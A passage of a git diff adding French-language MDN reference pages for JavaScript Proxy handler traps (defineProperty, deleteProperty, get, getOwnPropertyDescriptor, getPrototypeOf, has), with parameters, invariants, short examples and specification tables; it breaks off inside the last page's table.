+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>defineProperty</code>. <code>this</code> est ici lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>propriété</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on veut modifier la description.</dd>
+ <dt><code>descripteur</code></dt>
+ <dd>Le descripteur de la propriété qui est à modifier ou à définir.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>defineProperty()</code> doit renvoyer un booléen qui indique si la propriété a correctement été définie sur la cible.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.defineProperty()</strong></code> est une trappe pour {{jsxref("Object.defineProperty()")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe intercepte les opérations suivantes :</p>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.defineProperty()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les contraintes d'invariances suivantes ne sont pas respectées, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Une propriété ne peut pas être ajoutée si l'objet cible n'est pas extensible.</li>
+ <li>Une propriété ne peut pas être ajoutée ou modifiée pour être rendue non-configurable si elle n'existe pas comme une propriété propre non-configurable de l'objet cible.</li>
+ <li>Une propriété ne peut pas être non-configurable s'il existe une propriété correspondante de l'objet cible qui est configurable.</li>
+ <li>Si une propriété correspondante existe pour l'objet cible <code>Object.defineProperty(cible, propriété, descripteur)</code> ne lèvera pas d'exception.</li>
+ <li>En mode stricte, si le gestionnaire defineProperty renvoie une valeur fausse (dans un contexte booléen), cela entraînera une exception {{jsxref("TypeError")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le code suivant, on piège l'appel à {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  defineProperty: function(target, prop, descriptor) {
+    console.log("appelé avec : " + prop);
+  }
+});
+
+var desc = { configurable: true, enumerable: true, value: 10 };
+Object.defineProperty(p, "a", desc); // "appelé avec : a"
+</pre>
+
+<p>Lorsqu'on appelle {{jsxref("Object.defineProperty()")}} ou {{jsxref("Reflect.defineProperty()")}}, le descripteur passé à la trappe <code>defineProperty</code> doit respecter une contrainte : seules les propriétés suivants sont utilisables, les propriétés non-standards seront ignorées :</p>
+
+<ul>
+ <li><code>enumerable</code></li>
+ <li><code>configurable</code></li>
+ <li><code>writable</code></li>
+ <li><code>value</code></li>
+ <li><code>get</code></li>
+ <li><code>set</code></li>
+</ul>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  defineProperty(target, prop, descriptor) {
+    console.log(descriptor);
+    return Reflect.defineProperty(target, prop, descriptor);
+  }
+});
+
+Object.defineProperty(p, "name, {
+  value: "proxy",
+  type: "custom"
+});
+// { value: "proxy" }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.defineProperty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.defineProperty()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html
new file mode 100644
index 0000000000..15828b99b3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/deleteproperty/index.html
@@ -0,0 +1,113 @@
+---
+title: handler.deleteProperty()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/deleteProperty
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.deleteProperty()</code></strong> est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-deleteproperty.html","taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  deleteProperty: function(cible, propriété) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>deleteProperty</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>propriété</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété à supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>deleteProperty()</code> doit renvoyer un booléen qui indique si oui ou non la propriété a été supprimée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.deleteProperty()</strong></code> est une trappe permettant d'intercepter les opérations de l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe peut intercepter les opérations suivantes :</p>
+
+<ul>
+ <li>La suppression d'une propriété : <code>delete proxy[toto]</code> et <code>delete proxy.toto</code></li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invarians suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Une propriété ne peut pas être supprimée s'il existe une propriété correspondante sur l'objet cible qui est une propriété propre et non-configurable.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on intercepte les opérations de {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  deleteProperty: function(cible, prop) {
+    console.log("appelée sur : " + prop);
+    return true;
+  }
+});
+
+delete p.a; // "appelée sur : a"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.deleteProperty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>L'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}</li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html
new file mode 100644
index 0000000000..0173263d99
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/get/index.html
@@ -0,0 +1,136 @@
+---
+title: handler.get()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.get()</code></strong> est une trappe pour intercepter l'accès à la valeur d'une propriété.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-get.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  get: function(cible, propriété, récepteur) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>get</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>propriété</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété qu'on souhaite obtenir.</dd>
+ <dt><code>récepteur</code></dt>
+ <dd>Le proxy ou un objet qui hérite du proxy.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>get</code> peut renvoyer n'importe quelle valeur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.get</strong></code> est une trappe pour intercepter l'accès à une propriété.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter les opérations suivantes :</p>
+
+<ul>
+ <li>l'accès à une propriété : <code>proxy[toto]</code> et <code>proxy.truc</code></li>
+ <li>L'accès aux propriétés héritées : <code>Object.create(proxy)[toto]</code></li>
+ <li>{{jsxref("Reflect.get()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>La valeur renvoyée pour la propriété doit être la même que la valeur de la propriété correspondante de l'objet cible si celle-ci est non-configurable et non accessible en lecture.</li>
+ <li>La valeur renvoyée doit valoir <code>undefined</code> si la propriété correspondante de l'objet cible est une propriété d'accesseur non-configurable dont l'attribut [[Get]] vaut <code>undefined</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on intercepte les accès aux propriétés :</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  get: function(cible, propriété, récepteur) {
+    console.log("appelée : " + propriété);
+    return 10;
+  }
+});
+
+console.log(p.a); // "appelée : a"
+                  // 10
+</pre>
+
+<p>Le code suivant ne respecte pas l'invariant :</p>
+
+<pre class="brush: js">var obj = {};
+Object.defineProperty(obj, "a", {
+  configurable: false,
+  enumerable: false,
+  value: 10,
+  writable: false
+});
+
+var p = new Proxy(obj, {
+  get: function(cible, propriété) {
+    return 20;
+  }
+});
+
+p.a; // exception TypeError levée
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblité_des_navigateurs">Compatiblité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.get")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Reflect.get()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..457d906b81
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getownpropertydescriptor/index.html
@@ -0,0 +1,132 @@
+---
+title: handler.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getOwnPropertyDescriptor
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.getOwnPropertyDescriptor()</code></strong> est une trappe pour intercepter {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-getownpropertydescriptor.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  getOwnPropertyDescriptor: function(cible, prop) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>getOwnPropertyDescriptor</code>. <code>this</code> est ici lié au gestionnaire (<em>handler</em>).</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible</dd>
+ <dt><code>prop</code></dt>
+ <dd>Le nom de la propriété dont on souhaite obtenir le descripteur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>getOwnPropertyDescriptor</code> doit renvoyer un objet ou <code>undefined</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.getOwnPropertyDescriptor()</strong></code> est une trappe pour un proxy afin d'intercepter les opérations effectuées avec {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter :</p>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li><code>getOwnPropertyDescriptor</code> doit renvoyer un objet ou <code>undefined</code>.</li>
+ <li>Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et non-configurable.</li>
+ <li>Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et que l'objet cible n'est pas extensible.</li>
+ <li>Une propriété ne peut pas être indiquée comme existante si elle n'existe pas de façon correspondante sur l'objet cible et que l'objet cible n'est pas extensible.</li>
+ <li>Une propriété ne peut pas être indiquée comme non-configurable si la propriété correspondante n'existe pas pour l'objet cible ou si elle existe comme un propriété propre configurable.</li>
+ <li>Le résultat de <code>Object.getOwnPropertyDescriptor(cible)</code> peut être appliqué à l'objet cible avec <code>Object.defineProperty</code> sans que cela lève une exception.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on intercepte {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({ a: 20 }, {
+  getOwnPropertyDescriptor: function(cible, prop) {
+    console.log("appelée : " + prop);
+    return { configurable: true, enumerable: true, value: 10 };
+  }
+});
+
+console.log(Object.getOwnPropertyDescriptor(p, "a").value); // "appelée : a"
+                                                            // 10
+</pre>
+
+<p>L'exemple suivant ne respecte pas un invariant :</p>
+
+<pre class="brush: js">var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  getOwnPropertyDescriptor: function(cible, prop) {
+    return undefined;
+  }
+});
+
+Object.getOwnPropertyDescriptor(p, "a"); // Une exception TypeError est renvoyée
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.getOwnPropertyDescriptor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html
new file mode 100644
index 0000000000..1b5f73d3db
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/getprototypeof/index.html
@@ -0,0 +1,154 @@
+---
+title: handler.getPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.getPrototypeOf()</code></strong> représente une trappe pour la méthode interne <code>[[GetPrototypeOf]]</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(obj, {
+  getPrototypeOf(cible) {
+  ...
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Le paramètre suivant est passé à la méthode <code>getPrototypeOf</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>getPrototypeOf</code> doit renvoyer un objet ou <code>null</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter les opérations suivantes :</p>
+
+<ul>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object/proto", "__proto__")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Opérateurs/instanceof", "instanceof")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivant ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li><code>getPrototypeOf</code> doit renvoyer un objet ou <code>null</code>.</li>
+ <li>Si la <code>cible</code> n'est pas extensible, <code>Object.getPrototypeOf(proxy)</code> doit renvoyer la même valeur que <code>Object.getPrototypeOf(cible)</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<pre class="brush: js">var obj = {};
+var proto = {};
+var gestionnaire = {
+    getPrototypeOf(cible) {
+        console.log(cible === obj);   // true
+        console.log(this === gestionnaire); // true
+        return proto;
+    }
+};
+
+var p = new Proxy(obj, gestionnaire);
+console.log(Object.getPrototypeOf(p) === proto);    // true
+</pre>
+
+<h3 id="Cinq_façons_de_déclencher_la_trappe_getPrototypeOf">Cinq façons de déclencher la trappe <code>getPrototypeOf</code></h3>
+
+<pre class="brush: js">var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(cible) {
+        return Array.prototype;
+    }
+});
+console.log(
+    Object.getPrototypeOf(p) === Array.prototype,  // true
+    Reflect.getPrototypeOf(p) === Array.prototype, // true
+    p.__proto__ === Array.prototype,               // true
+    Array.prototype.isPrototypeOf(p),              // true
+    p instanceof Array                             // true
+);
+</pre>
+
+<h3 id="Deux_types_d'exceptions">Deux types d'exceptions</h3>
+
+<pre class="brush: js">var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(cible) {
+        return "toto";
+    }
+});
+Object.getPrototypeOf(p); // TypeError : "toto" n'est pas un objet ou null
+
+var obj = Object.preventExtensions({});
+var p = new Proxy(obj, {
+    getPrototypeOf(cible) {
+        return {};
+    }
+});
+Object.getPrototypeOf(p); // TypeError : on attend la même valeur pour le prototype
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html
new file mode 100644
index 0000000000..faded452ad
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/has/index.html
@@ -0,0 +1,130 @@
+---
+title: handler.has()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.has()</code></strong> est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  has: function(cible, prop) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>has</code>. <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>prop</code></dt>
+ <dd>Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on veut connaître l'existence.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>has</code> doit renvoyer une valeur booléenne.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.has</strong></code> est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe permet d'intercepter les opérations suivantes :</p>
+
+<ul>
+ <li>L'accès à une propriété : <code>toto in proxy</code></li>
+ <li>L'accès à une propriété héritée : <code>toto in Object.create(proxy)</code></li>
+ <li>Accès via l'instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/with">with</a></code> : <code>with(proxy) { (foo); }</code></li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et non-configurable.</li>
+ <li>Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante propre sur l'objet cible et que celui-ci n'est pas extensible.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on intercepte l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}} :</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  has: function(cible, prop) {
+    console.log("appelée : " + prop);
+    return true;
+  }
+});
+
+console.log("a" in p); // "appelée : a"
+                       // true
+</pre>
+
+<p>L'exemple suivant ne respecte pas un invariant :</p>
+
+<pre class="brush: js">var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  has: function(cible, prop) {
+    return false;
+  }
+});
+
+"a" in p; // TypeError levée
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}</td>
